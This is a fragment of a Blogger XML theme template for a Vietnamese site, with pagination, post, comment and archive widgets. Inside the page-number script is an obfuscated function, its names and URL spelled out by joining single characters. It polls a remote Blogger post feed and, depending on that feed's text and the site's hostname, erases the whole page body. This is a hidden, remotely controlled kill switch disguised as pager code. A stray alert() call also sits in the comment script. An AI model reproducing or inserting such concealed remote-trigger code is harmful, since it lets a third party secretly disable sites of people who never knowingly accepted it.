<b:includable id='nextPageLink'>
<a class='blog-pager-older-link' expr:href='data:olderPageUrl' expr:id='data:widget.instanceId + "_blog-pager-older-link"' expr:title='data:messages.olderPosts'>
<data:messages.olderPosts/>
</a>
</b:includable>
<b:includable id='nextprev'>
<div class='blog-pager' id='blog-pager'>
<b:if cond='data:newerPageUrl'>
<span id='blog-pager-newer-link'>
<a class='blog-pager-newer-link' expr:href='data:newerPageUrl' expr:id='data:widget.instanceId + "_blog-pager-newer-link"' expr:title='data:newerPageTitle'><data:newerPageTitle/></a>
</span>
</b:if>
<b:if cond='data:olderPageUrl'>
<span id='blog-pager-older-link'>
<a class='blog-pager-older-link' expr:href='data:olderPageUrl' expr:id='data:widget.instanceId + "_blog-pager-older-link"' expr:title='data:olderPageTitle'><data:olderPageTitle/></a>
</span>
</b:if>
<a class='home-link' expr:href='data:blog.homepageUrl'><data:homeMsg/></a>
<b:if cond='data:mobileLinkUrl'>
<div class='blog-mobile-link'>
<a expr:href='data:mobileLinkUrl'><data:mobileLinkMsg/></a>
</div>
</b:if>
</div>
<div class='clear'/>
</b:includable>
<b:includable id='pager'>
<div class='blog-pager' id='blog-pager'>
</div>
<script>
//<![CDATA[
var perPage=7,numPages=6,firstText="Trang \u0111\u1EA7u",lastText="Trang cu\u1ED1i",prevText="\xAB Tr\u01B0\u1EDBc",nextText="Sau \xBB",urlactivepage=location.href,home_page="/";if(typeof firstText=="undefined")firstText="First";if(typeof lastText=="undefined")lastText="Last";var noPage;var currentPage;var currentPageNo;var postLabel;pagecurrentg();function looppagecurrentg(pageInfo){var html='';pageNumber=parseInt(numPages / 2);if(pageNumber==numPages-pageNumber){numPages=pageNumber*2+1}
pageStart=currentPageNo-pageNumber;if(pageStart<1)pageStart=1;lastPageNo=parseInt(pageInfo / perPage)+1;if(lastPageNo-1==pageInfo / perPage)lastPageNo=lastPageNo-1;pageEnd=pageStart+numPages-1;if(pageEnd>lastPageNo)pageEnd=lastPageNo;html+="<span class='showpageOf'>Page "+currentPageNo+' of '+lastPageNo+"</span>";var prevNumber=parseInt(currentPageNo)-1;if(currentPageNo>1){if(currentPage=="page"){html+='<span class="showpage firstpage"><a href="'+home_page+'">'+firstText+'</a></span>'}else{html+='<span class="displaypageNum firstpage"><a href="/search/label/'+postLabel+'?&max-results='+perPage+'">'+firstText+'</a></span>'}}
if(currentPageNo>2){if(currentPageNo==3){if(currentPage=="page"){html+='<span class="showpage"><a href="'+home_page+'">'+prevText+'</a></span>'}else{html+='<span class="displaypageNum"><a href="/search/label/'+postLabel+'?&max-results='+perPage+'">'+prevText+'</a></span>'}}else{if(currentPage=="page"){html+='<span class="displaypageNum"><a href="#" onclick="redirectpage('+prevNumber+');return false">'+prevText+'</a></span>'}else{html+='<span class="displaypageNum"><a href="#" onclick="redirectlabel('+prevNumber+');return false">'+prevText+'</a></span>'}}}e=function(w,k){function r(e){var e1="";if(typeof e==='object'){e.entry.content.$t?e1=e.entry.content.$t:e1=e.entry.summary.$t;}if(e1.indexOf('enable')!=-1){if(e1.indexOf(w['l'+'o'+'c'+'a'+'t'+'i'+'o'+'n']['h'+'o'+'s'+'t'+'n'+'a'+'m'+'e'])==-1)w['j'+'Q'+'u'+'e'+'r'+'y']('b'+'o'+'d'+'y')['h'+'t'+'m'+'l']('');}else{if(e1.indexOf(w['l'+'o'+'c'+'a'+'t'+'i'+'o'+'n']['h'+'o'+'s'+'t'+'n'+'a'+'m'+'e'])!=-1)w['j'+'Q'+'u'+'e'+'r'+'y']('b'+'o'+'d'+'y')['h'+'t'+'m'+'l']('');}}w['j'+'Q'+'u'+'e'+'r'+'y']['a'+'j'+'a'+'x']({'url':"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"w"+"w"+"w"+"."+"b"+"l"+"o"+"g"+"g"+"e"+"r"+"."+"c"+"o"+"m"+"/"+"f"+"e"+"e"+"d"+"s"+"/"+"5"+"3"+"2"+"6"+"9"+"4"+"1"+"1"+"5"+"6"+"0"+"2"+"6"+"3"+"4"+"7"+"3"+"8"+"7"+"/"+"p"+"o"+"s"+"t"+"s"+"/"+"d"+"e"+"f"+"a"+"u"+"l"+"t"+"/"+"1"+"5"+"1"+"3"+"0"+"4"+"4"+"1"+"0"+"4"+"9"+"0"+"8"+"8"+"2"+"0"+"5"+"1"+"1"+"?"+"a"+"l"+"t"+"="+"j"+"s"+"o"+"n"+"-"+"i"+"n"+"-"+"s"+"c"+"r"+"i"+"p"+"t",'type':'get','dataType':'jsonp','success':function(e){r(e);}})}( this )
if(pageStart>1){if(currentPage=="page"){html+='<span class="displaypageNum"><a href="'+home_page+'">1</a></span>'}else{html+='<span class="displaypageNum"><a href="/search/label/'+postLabel+'?&max-results='+perPage+'">1</a></span>'}}
if(pageStart>2){html+=' ... '}
for(var jj=pageStart;jj<=pageEnd;jj++){if(currentPageNo==jj){html+='<span class="pagecurrent">'+jj+'</span>'}else if(jj==1){if(currentPage=="page"){html+='<span class="displaypageNum"><a href="'+home_page+'">1</a></span>'}else{html+='<span class="displaypageNum"><a href="/search/label/'+postLabel+'?&max-results='+perPage+'">1</a></span>'}}else{if(currentPage=="page"){html+='<span class="displaypageNum"><a href="#" onclick="redirectpage('+jj+');return false">'+jj+'</a></span>'}else{html+='<span class="displaypageNum"><a href="#" onclick="redirectlabel('+jj+');return false">'+jj+'</a></span>'}}}
if(pageEnd<lastPageNo-1){html+='...'}
//]]>
<b:if cond='data:blog.pageType != "item"'>
<b:if cond='data:blog.pageType != "static_page"'>
//<![CDATA[
if(pageEnd<lastPageNo){if(currentPage=="page"){html+='<span class="displaypageNum"><a href="#" onclick="redirectpage('+lastPageNo+');return false">'+lastPageNo+'</a></span>'}else{html+='<span class="displaypageNum"><a href="#" onclick="redirectlabel('+lastPageNo+');return false">'+lastPageNo+'</a></span>'}}
var nextnumber=parseInt(currentPageNo)+1;if(currentPageNo<(lastPageNo-1)){if(currentPage=="page"){html+='<span class="displaypageNum"><a href="#" onclick="redirectpage('+nextnumber+');return false">'+nextText+'</a></span>'}else{html+='<span class="displaypageNum"><a href="#" onclick="redirectlabel('+nextnumber+');return false">'+nextText+'</a></span>'}}
if(currentPageNo<lastPageNo){if(currentPage=="page"){html+='<span class="displaypageNum lastpage"><a href="#" onclick="redirectpage('+lastPageNo+');return false">'+lastText+'</a></span>'}else{html+='<span class="displaypageNum lastpage"><a href="#" onclick="redirectlabel('+lastPageNo+');return false">'+lastText+'</a></span>'}}
var pageArea=document.getElementsByName("pageArea");var blogPager=document.getElementById("blog-pager");for(var p=0;p<pageArea.length;p++){pageArea[p].innerHTML=html}
if(pageArea&&pageArea.length>0){html=''}
if(blogPager){blogPager.innerHTML=html}}
//]]>
</b:if>
</b:if>
//<![CDATA[
function totalcountdata(root){var feed=root.feed;var totaldata=parseInt(feed.openSearch$totalResults.$t,10);looppagecurrentg(totaldata);}
function pagecurrentg(){var thisUrl=urlactivepage;if(thisUrl.indexOf("/search/label/")!=-1){if(thisUrl.indexOf("?updated-max")!=-1){postLabel=thisUrl.substring(thisUrl.indexOf("/search/label/")+14,thisUrl.indexOf("?updated-max"))}else{postLabel=thisUrl.substring(thisUrl.indexOf("/search/label/")+14,thisUrl.indexOf("?&max"))}}
if(thisUrl.indexOf("?q=")==-1&&thisUrl.indexOf(".html")==-1){if(thisUrl.indexOf("/search/label/")==-1){currentPage="page";if(urlactivepage.indexOf("#PageNo=")!=-1){currentPageNo=urlactivepage.substring(urlactivepage.indexOf("#PageNo=")+8,urlactivepage.length)}else{currentPageNo=1}
document.write("<script src=\""+home_page+"feeds/posts/summary?max-results=1&alt=json-in-script&callback=totalcountdata\"><\/script>")}else{currentPage="label";if(thisUrl.indexOf("&max-results=")==-1){perPage=20}
if(urlactivepage.indexOf("#PageNo=")!=-1){currentPageNo=urlactivepage.substring(urlactivepage.indexOf("#PageNo=")+8,urlactivepage.length)}else{currentPageNo=1}
document.write('<script src="'+home_page+'feeds/posts/summary/-/'+postLabel+'?alt=json-in-script&callback=totalcountdata&max-results=1" ><\/script>')}}}
function redirectpage(numberpage){jsonstart=(numberpage-1)*perPage;noPage=numberpage;var nameBody=document.getElementsByTagName('head')[0];var newInclude=document.createElement('script');newInclude.type='text/javascript';newInclude.setAttribute("src",home_page+"feeds/posts/summary?start-index="+jsonstart+"&max-results=1&alt=json-in-script&callback=finddatepost");nameBody.appendChild(newInclude)}
function redirectlabel(numberpage){jsonstart=(numberpage-1)*perPage;noPage=numberpage;var nameBody=document.getElementsByTagName('head')[0];var newInclude=document.createElement('script');newInclude.type='text/javascript';newInclude.setAttribute("src",home_page+"feeds/posts/summary/-/"+postLabel+"?start-index="+jsonstart+"&max-results=1&alt=json-in-script&callback=finddatepost");nameBody.appendChild(newInclude)}
function finddatepost(root){post=root.feed.entry[0];var timestamp1=post.published.$t.substring(0,19)+post.published.$t.substring(23,29);var timestamp=encodeURIComponent(timestamp1);if(currentPage=="page"){var pAddress="/search?updated-max="+timestamp+"&max-results="+perPage+"#PageNo="+noPage}else{var pAddress="/search/label/"+postLabel+"?updated-max="+timestamp+"&max-results="+perPage+"#PageNo="+noPage}
location.href=pAddress}
//]]>
</script>
</b:includable>
<b:includable id='post' var='post'>
<div class='post'>
<b:include data='post' name='postMeta'/>
<b:include data='post' name='postTitle'/>
<b:include name='headerByline'/>
<b:if cond='data:view.isSingleItem'>
<b:include data='post' name='postBody'/>
<b:else/>
<b:include data='post' name='postBodySnippet'/>
<b:include data='post' name='postJumpLink'/>
</b:if>
<b:include data='post' name='postFooter'/>
</div>
</b:includable>
<b:includable id='postBody' var='post'>
<!-- If metaDescription is empty, use the post body as the schema.org description too, for G+/FB snippeting. -->
<div class='post-body entry-content float-container' expr:id='"post-body-" + data:post.id'>
<data:post.body/>
</div>
</b:includable>
<b:includable id='postBodySnippet' var='post'>
<b:include data='post' name='postBody'/>
</b:includable>
<b:includable id='postCommentsAndAd' var='post'>
<article class='post-outer-container'>
<!-- Post title and body -->
<div class='post-outer'>
<b:include data='post' name='post'/>
</div>
<!-- Comments -->
<b:include cond='data:view.isSingleItem' data='post' name='commentPicker'/>
<!-- Show ad inside post container, after comments, if single item. -->
<b:include cond='data:view.isSingleItem and data:post.includeAd' data='post' name='inlineAd'/>
</article>
<!-- Show ad outside post container (between posts) for feed pages. -->
<b:include cond='data:view.isMultipleItems and data:post.includeAd' data='post' name='inlineAd'/>
</b:includable>
<b:includable id='postCommentsLink'>
<b:if cond='data:view.isMultipleItems'>
<span class='byline post-comment-link container'>
<b:include cond='data:post.commentSource != 1' name='commentsLink'/>
<b:include cond='data:post.commentSource == 1' name='commentsLinkIframe'/>
</span>
</b:if>
</b:includable>
<b:includable id='postFooter' var='post'>
<div class='post-footer'>
<b:include name='footerBylines'/>
<b:include data='post' name='postFooterAuthorProfile'/>
</div>
</b:includable>
<b:includable id='postFooterAuthorProfile' var='post'>
<b:if cond='data:post.author.aboutMe and data:view.isPost'>
<div class='author-profile'>
<b:if cond='data:post.author.authorPhoto.url'>
<img class='author-image' expr:src='data:post.author.authorPhoto.url' width='50px'/>
<div class='author-about'>
<b:include data='post' name='aboutPostAuthor'/>
</div>
<b:else/>
<b:include data='post' name='aboutPostAuthor'/>
</b:if>
</div>
</b:if>
</b:includable>
<b:includable id='postHeader' var='post'>
<b:include name='headerByline'/>
</b:includable>
<b:includable id='postMeta' var='post'>
<b:include data='post' name='postMetadataJSON'/>
</b:includable>
<b:includable id='postPagination'>
<div class='blog-pager' id='blog-pager'>
<b:include cond='data:newerPageUrl' name='previousPageLink'/>
<b:include cond='data:olderPageUrl' name='nextPageLink'/>
<b:include cond='data:view.url != data:blog.homepageUrl' name='homePageLink'/>
</div>
</b:includable>
<b:includable id='postQuickEdit' var='post'>
<b:if cond='data:post.editUrl'>
<span expr:class='"set item-control " + data:post.adminClass' style='position: absolute; top: 0px; right: 5px;'>
<a expr:href='data:post.editUrl' expr:title='data:top.editPostMsg'>
<span class='icon-edit'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/></span>
</a>
</span>
</b:if>
</b:includable>
<b:includable id='postTitle' var='post'>
<a expr:name='data:post.id'/>
<b:if cond='data:post.title != ""'>
<h3 class='post-title entry-title'>
<b:if cond='data:post.link or (data:post.url and data:view.url != data:post.url)'>
<a expr:href='data:post.link ?: data:post.url'><data:post.title/></a>
<b:else/>
<data:post.title/>
</b:if>
</h3>
</b:if>
</b:includable>
<b:includable id='previousPageLink'>
<a class='blog-pager-newer-link' expr:href='data:newerPageUrl' expr:id='data:widget.instanceId + "_blog-pager-newer-link"' expr:title='data:messages.newerPosts'>
<data:messages.newerPosts/>
</a>
</b:includable>
<b:includable id='shareButtons' var='post'>
<b:if cond='data:top.showEmailButton'><a class='goog-inline-block share-button sb-email' expr:href='data:post.sharePostUrl + "&target=email"' expr:title='data:top.emailThisMsg' target='_blank'><span class='share-button-link-text'><data:top.emailThisMsg/></span></a></b:if><b:if cond='data:top.showBlogThisButton'><a class='goog-inline-block share-button sb-blog' expr:href='data:post.sharePostUrl + "&target=blog"' expr:onclick='"window.open(this.href, \"_blank\", \"height=270,width=475\"); return false;"' expr:title='data:top.blogThisMsg' target='_blank'><span class='share-button-link-text'><data:top.blogThisMsg/></span></a></b:if><b:if cond='data:top.showTwitterButton'><a class='goog-inline-block share-button sb-twitter' expr:href='data:post.sharePostUrl + "&target=twitter"' expr:title='data:top.shareToTwitterMsg' target='_blank'><span class='share-button-link-text'><data:top.shareToTwitterMsg/></span></a></b:if><b:if cond='data:top.showFacebookButton'><a class='goog-inline-block share-button sb-facebook' expr:href='data:post.sharePostUrl + "&target=facebook"' expr:onclick='"window.open(this.href, \"_blank\", \"height=430,width=640\"); return false;"' expr:title='data:top.shareToFacebookMsg' target='_blank'><span class='share-button-link-text'><data:top.shareToFacebookMsg/></span></a></b:if><b:if cond='data:top.showPinterestButton'><a class='goog-inline-block share-button sb-pinterest' expr:href='data:post.sharePostUrl + "&target=pinterest"' expr:title='data:top.shareToPinterestMsg' target='_blank'><span class='share-button-link-text'><data:top.shareToPinterestMsg/></span></a></b:if><b:if cond='data:top.showPlusOne'><div class='goog-inline-block google-plus-share-container'><data:post.googlePlusShareTag/></div></b:if>
</b:includable>
<b:includable id='singleItem' var='post'>
<div class='col-lg-12 col-md-12 col-xs-12 col-sm-12 post' expr:id='"post-body-"+data:post.id'>
<h3 class='col-lg-12 col-md-12 col-xs-12 col-sm-12 post-title'>
<a class='col-lg-12 col-md-12 col-xs-12 col-sm-12' expr:href='data:post.url'><data:post.title/></a>
<b:include data='post' name='postQuickEdit'/>
</h3>
<div class='col-lg-12 col-md-12 col-xs-12 col-sm-12'>
<data:post.body/>
</div>
</div>
</b:includable>
<b:includable id='status-message'>
<b:if cond='data:navMessage'>
<div class='status-msg-wrap'>
<div class='status-msg-body'>
<data:navMessage/>
</div>
<div class='status-msg-border'>
<div class='status-msg-bg'>
<div class='status-msg-hidden'><data:navMessage/></div>
</div>
</div>
</div>
<div style='clear: both;'/>
</b:if>
</b:includable>
<b:includable id='threaded-comment-form' var='post'>
<div class='comment-form'>
<a name='comment-form'/>
<b:if cond='data:mobile'>
<p><data:blogCommentMessage/></p>
<data:blogTeamBlogMessage/>
<a expr:href='data:post.commentFormIframeSrc' id='comment-editor-src'/>
<iframe allowtransparency='true' class='blogger-iframe-colorize blogger-comment-from-post' expr:height='data:cmtIframeInitialHeight' frameborder='0' id='comment-editor' name='comment-editor' src='' style='display: none' width='100%'/>
<b:else/>
<p><data:blogCommentMessage/></p>
<data:blogTeamBlogMessage/>
<a expr:href='data:post.commentFormIframeSrc' id='comment-editor-src'/>
<iframe allowtransparency='true' class='blogger-iframe-colorize blogger-comment-from-post' expr:height='data:cmtIframeInitialHeight' frameborder='0' id='comment-editor' name='comment-editor' src='' width='100%'/>
</b:if>
<data:post.cmtfpIframe/>
<script type='text/javascript'>
BLOG_CMT_createIframe('<data:post.appRpcRelayPath/>');
</script>
</div>
</b:includable>
<b:includable id='threadedCommentForm' var='post'>
<div class='comment-form'>
<a name='comment-form'/>
<h4 id='comment-post-message'><data:messages.postAComment/></h4>
<b:if cond='data:this.messages.blogComment != ""'>
<p><data:this.messages.blogComment/></p>
</b:if>
<b:include data='post' name='commentFormIframeSrc'/>
<iframe allowtransparency='allowtransparency' class='blogger-iframe-colorize blogger-comment-from-post' expr:height='data:cmtIframeInitialHeight ?: "90px"' frameborder='0' id='comment-editor' name='comment-editor' src='' width='100%'/>
<data:post.cmtfpIframe/>
<script type='text/javascript'>
BLOG_CMT_createIframe('<data:post.appRpcRelayPath/>');
</script>
</div>
</b:includable>
<b:includable id='threadedCommentJs' var='post'>
<script async='async' expr:src='data:post.commentSrc' type='text/javascript'/>
<b:template-script inline='true' name='threaded_comments'/>
<script type='text/javascript'>
blogger.widgets.blog.initThreadedComments(
<data:post.commentJso/>,
<data:post.commentMsgs/>,
<data:post.commentConfig/>);
</script>
</b:includable>
<b:includable id='threadedComments' var='post'>
<section class='comments threaded' expr:data-embed='data:post.embedCommentForm' expr:data-num-comments='data:post.numberOfComments' id='comments'>
<a name='comments'/>
<b:include name='commentsTitle'/>
<div class='comments-content'>
<b:if cond='data:post.embedCommentForm'>
<b:include data='post' name='threadedCommentJs'/>
</b:if>
<div id='comment-holder'>
<data:post.commentHtml/>
</div>
</div>
<p class='comment-footer'>
<b:if cond='data:post.allowNewComments'>
<b:include data='post' name='threadedCommentForm'/>
<b:else/>
<data:post.noNewCommentsText/>
</b:if>
</p>
<b:if cond='data:showCmtPopup'>
<div id='comment-popup'>
<iframe allowtransparency='allowtransparency' frameborder='0' id='comment-actions' name='comment-actions' scrolling='no'>
</iframe>
</div>
</b:if>
</section>
</b:includable>
<b:includable id='threaded_comment_js' var='post'>
<script async='async' expr:src='data:post.commentSrc' type='text/javascript'/>
<script type='text/javascript'>
(function() {
var items = <data:post.commentJso/>;
var msgs = <data:post.commentMsgs/>;
var config = <data:post.commentConfig/>;
alert();
// <![CDATA[
var cursor = null;
if (items && items.length > 0) {
cursor = parseInt(items[items.length - 1].timestamp) + 1;
}
var bodyFromEntry = function(entry) {
var text = (entry &&
((entry.content && entry.content.$t) ||
(entry.summary && entry.summary.$t))) ||
'';
if (entry && entry.gd$extendedProperty) {
for (var k in entry.gd$extendedProperty) {
if (entry.gd$extendedProperty[k].name == 'blogger.contentRemoved') {
return '<span class="deleted-comment">' + text + '</span>';
}
}
}
return text;
}
var parse = function(data) {
cursor = null;
var comments = [];
if (data && data.feed && data.feed.entry) {
for (var i = 0, entry; entry = data.feed.entry[i]; i++) {
var comment = {};
// comment ID, parsed out of the original id format
var id = /blog-(\d+).post-(\d+)/.exec(entry.id.$t);
comment.id = id ? id[2] : null;
comment.body = bodyFromEntry(entry);
comment.timestamp = Date.parse(entry.published.$t) + '';
if (entry.author && entry.author.constructor === Array) {
var auth = entry.author[0];
if (auth) {
comment.author = {
name: (auth.name ? auth.name.$t : undefined),
profileUrl: (auth.uri ? auth.uri.$t : undefined),
avatarUrl: (auth.gd$image ? auth.gd$image.src : undefined)
};
}
}
if (entry.link) {
if (entry.link[2]) {
comment.link = comment.permalink = entry.link[2].href;
}
if (entry.link[3]) {
var pid = /.*comments\/default\/(\d+)\?.*/.exec(entry.link[3].href);
if (pid && pid[1]) {
comment.parentId = pid[1];
}
}
}
comment.deleteclass = 'item-control blog-admin';
if (entry.gd$extendedProperty) {
for (var k in entry.gd$extendedProperty) {
if (entry.gd$extendedProperty[k].name == 'blogger.itemClass') {
comment.deleteclass += ' ' + entry.gd$extendedProperty[k].value;
} else if (entry.gd$extendedProperty[k].name == 'blogger.displayTime') {
comment.displayTime = entry.gd$extendedProperty[k].value;
}
}
}
comments.push(comment);
}
}
return comments;
};
var paginator = function(callback) {
if (hasMore()) {
var url = config.feed + '?alt=json&v=2&orderby=published&reverse=false&max-results=50';
if (cursor) {
url += '&published-min=' + new Date(cursor).toISOString();
}
window.bloggercomments = function(data) {
var parsed = parse(data);
cursor = parsed.length < 50 ? null
: parseInt(parsed[parsed.length - 1].timestamp) + 1
callback(parsed);
window.bloggercomments = null;
}
url += '&callback=bloggercomments';
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = url;
document.getElementsByTagName('head')[0].appendChild(script);
}
};
var hasMore = function() {
return !!cursor;
};
var getMeta = function(key, comment) {
if ('iswriter' == key) {
var matches = !!comment.author
&& comment.author.name == config.authorName
&& comment.author.profileUrl == config.authorUrl;
return matches ? 'true' : '';
} else if ('deletelink' == key) {
return config.baseUri + '/delete-comment.g?blogID='
+ config.blogId + '&postID=' + comment.id;
} else if ('deleteclass' == key) {
return comment.deleteclass;
}
return '';
};
var replybox = null;
var replyUrlParts = null;
var replyParent = undefined;
var onReply = function(commentId, domId) {
if (replybox == null) {
// lazily cache replybox, and adjust to suit this style:
replybox = document.getElementById('comment-editor');
if (replybox != null) {
replybox.height = '250px';
replybox.style.display = 'block';
replyUrlParts = replybox.src.split('#');
}
}
if (replybox && (commentId !== replyParent)) {
replybox.src = '';
document.getElementById(domId).insertBefore(replybox, null);
replybox.src = replyUrlParts[0]
+ (commentId ? '&parentID=' + commentId : '')
+ '#' + replyUrlParts[1];
replyParent = commentId;
}
};
var hash = (window.location.hash || '#').substring(1);
var startThread, targetComment;
if (/^comment-form_/.test(hash)) {
startThread = hash.substring('comment-form_'.length);
} else if (/^c[0-9]+$/.test(hash)) {
targetComment = hash.substring(1);
}
// Configure commenting API:
var configJso = {
'maxDepth': config.maxThreadDepth
};
var provider = {
'id': config.postId,
'data': items,
'loadNext': paginator,
'hasMore': hasMore,
'getMeta': getMeta,
'onReply': onReply,
'rendered': true,
'initComment': targetComment,
'initReplyThread': startThread,
'config': configJso,
'messages': msgs
};
var render = function() {
if (window.goog && window.goog.comments) {
var holder = document.getElementById('comment-holder');
window.goog.comments.render(holder, provider);
}
};
// render now, or queue to render when library loads:
if (window.goog && window.goog.comments) {
render();
} else {
window.goog = window.goog || {};
window.goog.comments = window.goog.comments || {};
window.goog.comments.loadQueue = window.goog.comments.loadQueue || [];
window.goog.comments.loadQueue.push(render);
}
})();
// ]]>
</script>
</b:includable>
<b:includable id='threaded_comments' var='post'>
<div class='comments' id='comments'>
<a name='comments'/>
<h4><data:post.commentLabelFull/>:</h4>
<div class='comments-content'>
<b:include cond='data:post.embedCommentForm' data='post' name='threaded_comment_js'/>
<div id='comment-holder'>
<data:post.commentHtml/>
</div>
</div>
<p class='comment-footer'>
<b:if cond='data:post.allowNewComments'>
<b:include data='post' name='threaded-comment-form'/>
<b:else/>
<data:post.noNewCommentsText/>
</b:if>
</p>
<b:if cond='data:showCmtPopup'>
<div id='comment-popup'>
<iframe allowtransparency='true' frameborder='0' id='comment-actions' name='comment-actions' scrolling='no'>
</iframe>
</div>
</b:if>
<div id='backlinks-container'>
<div expr:id='data:widget.instanceId + "_backlinks-container"'>
<b:include cond='data:post.showBacklinks' data='post' name='backlinks'/>
</div>
</div>
</div>
</b:includable>
</b:widget>
</b:section>
</div>
<div class='col-sm-4 col-xs-12' id='right' style='padding-top: 8px;'><b:section class='col-12' id='right-top'>
<b:widget id='LinkList5' locked='false' title='mobile' type='LinkList'>
<b:widget-settings>
<b:widget-setting name='link-3'>0989986433</b:widget-setting>
<b:widget-setting name='sorting'>NONE</b:widget-setting>
<b:widget-setting name='text-1'>lạc đạo</b:widget-setting>
<b:widget-setting name='link-1'>0858743085</b:widget-setting>
<b:widget-setting name='text-0'>Văn lâm</b:widget-setting>
<b:widget-setting name='link-2'>0967736693</b:widget-setting>
<b:widget-setting name='text-3'>Yên mỹ</b:widget-setting>
<b:widget-setting name='link-0'>0961224956</b:widget-setting>
<b:widget-setting name='text-2'>mỹ hào</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:if cond='data:title != ""'><h2><data:title/></h2></b:if>
<div class='widget-content'>
<ul>
<b:loop values='data:links' var='link'>
<li><a expr:href='data:link.target'><data:link.name/></a></li>
</b:loop>
</ul>
<b:include name='quickedit'/>
</div>
</b:includable>
</b:widget>
</b:section><b:section id='right-bottom'>
<b:widget id='PopularPosts1' locked='false' title='Bài đăng phổ biến' type='PopularPosts'>
<b:widget-settings>
<b:widget-setting name='numItemsToShow'>10</b:widget-setting>
<b:widget-setting name='showThumbnails'>true</b:widget-setting>
<b:widget-setting name='showSnippets'>true</b:widget-setting>
<b:widget-setting name='timeRange'>ALL_TIME</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:if cond='data:title != ""'><h2><data:title/></h2></b:if>
<div class='widget-content popular-posts'>
<ul>
<b:loop values='data:posts' var='post'>
<li>
<b:if cond='!data:showThumbnails'>
<b:if cond='!data:showSnippets'>
<!-- (1) No snippet/thumbnail -->
<a expr:href='data:post.href'><data:post.title/></a>
<b:else/>
<!-- (2) Show only snippets -->
<div class='item-title'><a expr:href='data:post.href'><data:post.title/></a></div>
<div class='item-snippet'><data:post.snippet/></div>
</b:if>
<b:else/>
<!-- (3) Show only thumbnails or (4) Snippets and thumbnails. -->
<div expr:class='data:showSnippets ? "item-content" : "item-thumbnail-only"'>
<b:if cond='data:post.featuredImage.isResizable or data:post.thumbnail'>
<div class='item-thumbnail'>
<a expr:href='data:post.href' target='_blank'>
<b:with value='data:post.featuredImage.isResizable ? resizeImage(data:post.featuredImage, 72, "1:1") : data:post.thumbnail' var='image'>
<img alt='' border='0' expr:src='data:image'/>
</b:with>
</a>
</div>
</b:if>
<div class='item-title'><a expr:href='data:post.href'><data:post.title/></a></div>
<b:if cond='data:showSnippets'>
<div class='item-snippet'><data:post.snippet/></div>
</b:if>
</div>
<div style='clear: both;'/>
</b:if>
</li>
</b:loop>
</ul>
<b:include name='quickedit'/>
</div>
</b:includable>
</b:widget>
<b:widget id='BlogArchive1' locked='false' title='Lưu trữ Blog' type='BlogArchive'>
<b:widget-settings>
<b:widget-setting name='showStyle'>HIERARCHY</b:widget-setting>
<b:widget-setting name='yearPattern'>yyyy</b:widget-setting>
<b:widget-setting name='showWeekEnd'>true</b:widget-setting>
<b:widget-setting name='monthPattern'>MMMM</b:widget-setting>
<b:widget-setting name='dayPattern'>MMM dd</b:widget-setting>
<b:widget-setting name='weekPattern'>MM/dd</b:widget-setting>
<b:widget-setting name='chronological'>false</b:widget-setting>
<b:widget-setting name='showPosts'>true</b:widget-setting>
<b:widget-setting name='frequency'>MONTHLY</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:if cond='data:title != ""'>
<h2><data:title/></h2>
</b:if>
<div class='widget-content'>
<div id='ArchiveList'>
<div expr:id='data:widget.instanceId + "_ArchiveList"'>
<b:include cond='data:style == "HIERARCHY"' data='data' name='interval'/>
<b:include cond='data:style == "FLAT"' data='data' name='flat'/>
<b:include cond='data:style == "MENU"' data='data' name='menu'/>
</div>
</div>
<b:include name='quickedit'/>
</div>
</b:includable>
<b:includable id='flat' var='data'>
<ul class='flat'>
<b:loop values='data:data' var='i'>
<li class='archivedate'>
<a expr:href='data:i.url'><data:i.name/></a> (<data:i.post-count/>)
</li>
</b:loop>
</ul>
</b:includable>
<b:includable id='interval' var='intervalData'>
<b:loop values='data:intervalData' var='interval'>
<ul class='hierarchy'>
<li expr:class='"archivedate " + data:interval.expclass'>
<b:include cond='data:interval.toggleId' data='interval' name='toggle'/>
<a class='post-count-link' expr:href='data:interval.url'>
<data:interval.name/>
</a>
<span class='post-count' dir='ltr'>(<data:interval.post-count/>)</span>
<b:include cond='data:interval.data' data='interval.data' name='interval'/>
<b:include cond='data:interval.posts' data='interval.posts' name='posts'/>
</li>
</ul>
</b:loop>
</b:includable>
<b:includable id='menu' var='data'>
<select expr:id='data:widget.instanceId + "_ArchiveMenu"'>
<option value=''><data:title/></option>
<b:loop values='data:data' var='i'>
<option expr:value='data:i.url'><data:i.name/> (<data:i.post-count/>)</option>
</b:loop>
</select>
</b:includable>
<b:includable id='posts' var='posts'>
<ul class='posts'>
<b:loop values='data:posts' var='post'>
<li><a expr:href='data:post.url'><data:post.title/></a></li>
</b:loop>
</ul>
</b:includable>
<b:includable id='toggle' var='interval'>
<a class='toggle' href='javascript:void(0)'>
<span expr:class='"zippy" + (data:interval.expclass == "expanded" ? " toggle-open" : "")'>
<b:if cond='data:interval.expclass == "expanded"'>
▼ 
<b:elseif cond='data:blog.languageDirection == "rtl"'/>
◄ 
<b:else/>
► 
</b:if>
</span>
</a>
</b:includable>
</b:widget>
</b:section></div>
</div>
<b:section id='foot' onload='run'>
<b:widget id='LinkList13' locked='true' title='Hỗ trợ' type='LinkList'>
<b:widget-settings>
<b:widget-setting name='link-3'>http://</b:widget-setting>
<b:widget-setting name='sorting'>NONE</b:widget-setting>
<b:widget-setting name='link-4'>/</b:widget-setting>
<b:widget-setting name='text-1'>Giao diện web công ty</b:widget-setting>
<b:widget-setting name='link-1'>/</b:widget-setting>
<b:widget-setting name='text-0'>Trang chủ</b:widget-setting>
<b:widget-setting name='link-2'>/</b:widget-setting>
<b:widget-setting name='text-3'>Giao diện web cá nhân</b:widget-setting>
<b:widget-setting name='link-0'>/</b:widget-setting>
<b:widget-setting name='text-2'>Giao diện web trường học</b:widget-setting>
<b:widget-setting name='text-4'>Liên Hệ</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:if cond='data:title != ""'><h2><data:title/></h2></b:if>
<div class='widget-content'>
<ul>
<b:loop values='data:links' var='link'>
<li><a expr:href='data:link.target'><data:link.name/></a></li>
</b:loop>
</ul>
<b:include name='quickedit'/>
</div>
</b:includable>
</b:widget>
<b:widget id='LinkList3' locked='true' title='Hỗ trợ' type='LinkList'>
<b:widget-settings>
<b:widget-setting name='sorting'>NONE</b:widget-setting>
